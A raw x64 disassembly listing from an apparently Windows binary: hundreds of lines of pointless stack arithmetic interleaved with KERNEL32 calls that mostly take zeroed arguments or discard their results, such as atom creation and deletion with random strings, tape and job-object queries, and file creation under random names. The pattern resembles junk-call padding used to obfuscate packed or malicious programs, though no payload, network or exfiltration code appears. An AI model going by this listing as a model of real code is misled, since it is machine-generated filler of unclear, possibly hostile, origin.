xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb8a0]
mov qword [rsp + 0xe5d8], rax
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x169c], ax
mov rax, qword [rsp + 0xe000]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0xc628]
mov rcx, qword [rsp + 0xcd70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6198], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66e4], eax
mov edx, 0xfed
mov rcx, qword [rsp + 0xd928]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65a0], eax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c4], eax
movzx ecx, word [rsp + 0x2270]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2660], ax
mov rax, qword [rsp + 0xc550]
mov qword [rsp + 0xe5e0], rax
movsx eax, byte [rsp + 0x3ac]
movsx ecx, byte [rsp + 0x17d]
or eax, ecx
mov byte [0x1401c700d], al
mov edx, 0x25f3
mov rcx, qword [rsp + 0xe218]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5e8], rax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [0x1401c8ce0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe8c], ax
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1d58]
movsx ecx, word [rsp + 0x2130]
xor eax, ecx
mov word [rsp + 0x2500], ax
mov rax, qword [rsp + 0xcef8]
movzx eax, word [rax]
mov word [rsp + 0x2664], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6710], eax
mov edx, 0x21f2
mov rcx, qword [rsp + 0xe078]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x69e8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xd980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdb98]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x3f4]
mov rcx, qword [rsp + 0xe428]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x60f8]
imul eax, dword [0x1401c7008]
mov dword [rsp + 0x673c], eax
mov rax, qword [rsp + 0xd0a8]
mov qword [rsp + 0xe5f0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e14], ax
movzx ecx, word [rsp + 0x1f4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2668], ax
lea rdx, [rsp + 0x26680]
mov rcx, qword [rsp + 0xc770]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6408], eax
mov rax, qword [rsp + 0xd600]
movzx eax, word [rax]
mov word [0x1401c8e88], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rcx, str.SOw2GY_DZviS4_MRotE.lM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x266c], ax
movzx ecx, word [rsp + 0x22d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21bc], ax
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xd488]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x97f8], rax
lea rax, [rsp + 0x880]
mov qword [rsp + 0xe5f8], rax
mov eax, dword [rsp + 0x65b4]
movzx ecx, al
mov eax, dword [rsp + 0x665c]
shl eax, cl
mov rcx, qword [rsp + 0xda28]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xd5c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x391]
sar eax, cl
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0xde38]
mov rcx, qword [rsp + 0xc8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [0x1401c700d]
sub eax, ecx
mov byte [rsp + 0x310], al
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xd228]
mov qword [rsp + 0xe600], rax
movsx eax, word [rsp + 0x158c]
movsx ecx, word [rsp + 0x9bc]
add eax, ecx
mov word [rsp + 0x235c], ax
lea rcx, str.RV_JWLId81
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2670], ax
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
mov word [0x1401c8e8c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x664c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xdf30]
mov qword [rsp + 0xe608], rax
lea rcx, [rsp + 0x1d728]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xdef8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd4e8], rax
lea rcx, str.G2NOsk_sRS4rZ5Iri_FV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2674], ax
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2168]
add eax, ecx
mov word [rsp + 0x1e54], ax
lea rax, [rsp + 0x1dc8]
mov qword [rsp + 0xe610], rax
mov rax, qword [rsp + 0xb3e0]
mov rcx, qword [rsp + 0xb398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc88], rax
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x40a], al
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20cc], ax
mov eax, dword [rsp + 0x56b8]
mov ecx, dword [rsp + 0x5d24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x65e0], eax
mov r9d, 2
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xe618]
mov rcx, qword [rsp + 0xdb90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6788], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x22c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2654], ax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xd7f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69ec], eax
mov rax, qword [rsp + 0xd700]
mov rcx, qword [rsp + 0xd350]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movsx eax, word [rsp + 0x1e54]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401c8d38]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x658c], eax
movzx eax, word [rsp + 0x1624]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1124], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xd750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x57b4]
shl eax, cl
mov rcx, qword [rsp + 0xe1a8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe620], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xdcf8]
movzx eax, byte [rax]
mov byte [rsp + 0x40b], al
mov rcx, qword [rsp + 0xdb30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69f0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68cc], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0xc560]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab38], rax
mov rcx, qword [rsp + 0xdb68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6908], eax
mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xd418]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa388], rax
lea rcx, [rsp + 0x20968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe3c8], rax
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5d24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5714], eax
movsx eax, byte [rsp + 0x38e]
mov rcx, qword [rsp + 0xe110]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x397], al
mov rax, qword [rsp + 0xd358]
movzx eax, word [rax]
mov word [rsp + 0x2678], ax
lea rcx, [rsp + 0x1d598]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xccf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x248c]
shl eax, cl
mov rcx, qword [0x1401c8ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdad8], rax
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x69f4], eax
movzx ecx, word [rsp + 0x2020]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x25f0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
movzx eax, word [rsp + 0x1ef8]
movzx ecx, word [rsp + 0x1f14]
add eax, ecx
mov word [rsp + 0x1338], ax
movsx eax, word [rsp + 0x2100]
movsx ecx, word [rsp + 0x1d04]
xor eax, ecx
mov word [rsp + 0x2168], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe628], rax
mov rax, qword [0x1401c8c58]
mov rcx, qword [rsp + 0xdc18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9eb0], rax
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xe090]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9de0]
mov qword [rsp + 0xe630], rax
lea rcx, [rsp + 0x20668]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xe638], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe638]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x66d4], eax
movzx eax, byte [0x1401c8a26]
mov byte [rsp + 0x40c], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xc900]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa20], ax
lea rdx, [rsp + 0x261b0]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6864], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xc388]
mov qword [0x1401c8e90], rax
mov eax, dword [rsp + 0x6708]
movzx ecx, al
mov eax, dword [rsp + 0x5630]
shl eax, cl
mov rcx, qword [rsp + 0xd8f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3dc]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x2aa], al
lea rcx, [rsp + 0x20878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d0]
sub eax, ecx
mov word [rsp + 0x2238], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd460], rax
lea rcx, str.Ovow9_LE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x267c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rcx, [rsp + 0x207e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x938]
mov qword [rsp + 0xe640], rax
lea rcx, [rsp + 0x1d8b8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
movsx eax, byte [rsp + 0x3ab]
mov rcx, qword [rsp + 0xe110]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x28c], al
mov rax, qword [rsp + 0xe1d0]
mov rcx, qword [0x1401c8ac0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xd640]
mov eax, dword [rax]
mov dword [rsp + 0x69f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x21c8]
mov rcx, qword [rsp + 0xe280]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2318], ax
movzx eax, word [rsp + 0x24b4]
movzx ecx, word [0x1401c8d00]
or eax, ecx
mov word [0x1401c7230], ax
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x69fc], eax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6988], eax
lea rax, [rsp + 0xa8e0]
mov qword [rsp + 0xe648], rax
mov rax, qword [rsp + 0xdd68]
movzx ecx, al
mov rax, qword [rsp + 0xd450]
sar rax, cl
mov qword [rsp + 0xd050], rax
mov rax, qword [rsp + 0xc928]
movzx ecx, al
mov rax, qword [rsp + 0x9c00]
shl rax, cl
mov qword [rsp + 0xa450], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.VrA9BpJBqB3zbU3W
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe650], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65e4], eax
movsx eax, word [rsp + 0x25d4]
movsx ecx, word [rsp + 0x2460]
add eax, ecx
mov word [rsp + 0x1fdc], ax
movsx eax, byte [rsp + 0x3e3]
mov rcx, qword [rsp + 0xce60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3ea], al
mov rax, qword [rsp + 0xd850]
mov qword [rsp + 0xe658], rax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6924], eax
mov rax, qword [rsp + 0xc8c0]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xdaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdb00]
movzx eax, byte [rax]
mov byte [rsp + 0x40d], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6a00], eax
lea rcx, [rsp + 0x1d458]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0x5738]
mov ecx, dword [rsp + 0x68ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x602c], eax
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x15e0]
movsx ecx, word [rsp + 0x17bc]
shl eax, cl
mov word [0x1401c7114], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d48]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x22c4], ax
mov rcx, qword [rsp + 0xe148]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x169c]
movzx ecx, word [rsp + 0x2380]
sar eax, cl
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [rsp + 0xe5b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf58], rax
lea rax, [0x1401c8db8]
mov qword [rsp + 0xe660], rax
mov rcx, qword [rsp + 0xcda8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe668], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rcx, qword [rsp + 0xd1e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe4e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3c8], al
mov rax, qword [rsp + 0xde38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5608]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x659c], eax
lea rax, [0x1401c8a10]
mov qword [rsp + 0xe670], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xd600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13b4], ax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc130]
shl rax, cl
mov qword [0x1401c8ca0], rax
mov rax, qword [0x1401c8e70]
movzx eax, word [rax]
mov word [rsp + 0x2680], ax
mov rax, qword [rsp + 0xe3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdf10]
mov qword [rsp + 0xe678], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe678]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xe2d0]
mov rcx, qword [rsp + 0xe3f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb5a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movsx eax, byte [rsp + 0x3fd]
mov rcx, qword [rsp + 0xde08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb2], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe680], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xc730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc508], rax
lea rcx, [rsp + 0x20218]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xde30], rax
mov eax, dword [0x1401c8a20]
mov dword [rsp + 0x6a04], eax
movzx eax, byte [rsp + 0x3db]
movzx ecx, byte [rsp + 0x38d]
cdq
idiv ecx
mov byte [rsp + 0x3dc], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6a08], eax
xor r9d, r9d
lea r8, [rsp + 0xcc78]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x678c], eax
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
mov dword [rsp + 0x6a0c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6960], eax
mov rax, qword [rsp + 0xd4f0]
movzx eax, word [rax]
mov word [0x1401c8e98], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.N9mTEoI3MHe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe688], rax
mov rax, qword [0x1401c8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x236c]
xor eax, ecx
mov word [rsp + 0x2164], ax
movzx eax, word [rsp + 0x910]
mov rcx, qword [rsp + 0xce98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
movzx eax, word [rsp + 0xddc]
movzx ecx, word [0x1401c8d50]
or eax, ecx
mov word [rsp + 0x1b88], ax
movzx ecx, word [rsp + 0x2320]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2558], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c4], eax
movsx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rax, qword [rsp + 0xd2c0]
mov qword [rsp + 0xe690], rax
mov eax, dword [rsp + 0x5e80]
movzx ecx, al
mov eax, dword [rsp + 0x56f4]
shl eax, cl
mov dword [rsp + 0x67ec], eax
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x134c], ax
lea rcx, [rsp + 0x20998]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx ecx, word [rsp + 0x22bc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x249c], ax
movzx eax, word [rsp + 0x2110]
movzx ecx, word [rsp + 0x2574]
sub eax, ecx
mov word [rsp + 0x1cd4], ax
mov rax, qword [rsp + 0xd230]
mov rcx, qword [rsp + 0xd7e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8bc0], rax
mov rax, qword [rsp + 0xd980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc960]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd088], rax
mov rax, qword [0x1401c8b58]
mov qword [rsp + 0xe698], rax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movabs rax, 0x783bb53967a09a
mov rcx, qword [rsp + 0xb210]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0xe560], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe6a0], rax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x244c], ax
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1f14]
movzx ecx, word [rsp + 0x217c]
or eax, ecx
mov word [rsp + 0x2240], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xdf50]
movzx eax, byte [rax]
mov byte [rsp + 0x40e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0xd3b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd750]
mov qword [rsp + 0xe6a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe6a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a08], eax
movzx ecx, word [rsp + 0x2670]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x256c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe6b0], rax
movsx eax, byte [rsp + 0x3c0]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1a8], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6748], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5bdc], eax
mov rax, qword [rsp + 0xe538]
mov rcx, qword [rsp + 0xdde8]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401c7238], rax
xor r9d, r9d
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xe6b8]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67a0], eax
movzx ecx, word [rsp + 0x2228]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
lea rax, [0x1401c8ce8]
mov qword [rsp + 0xe6c0], rax
movzx ecx, word [rsp + 0x24e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f80], ax
movsx eax, word [rsp + 0x20dc]
movsx ecx, word [rsp + 0x2104]
sub eax, ecx
mov word [rsp + 0x904], ax
movzx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2010], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6a10], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov qword [rsp + 0xe6c8], rax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xdac0]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xd570], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
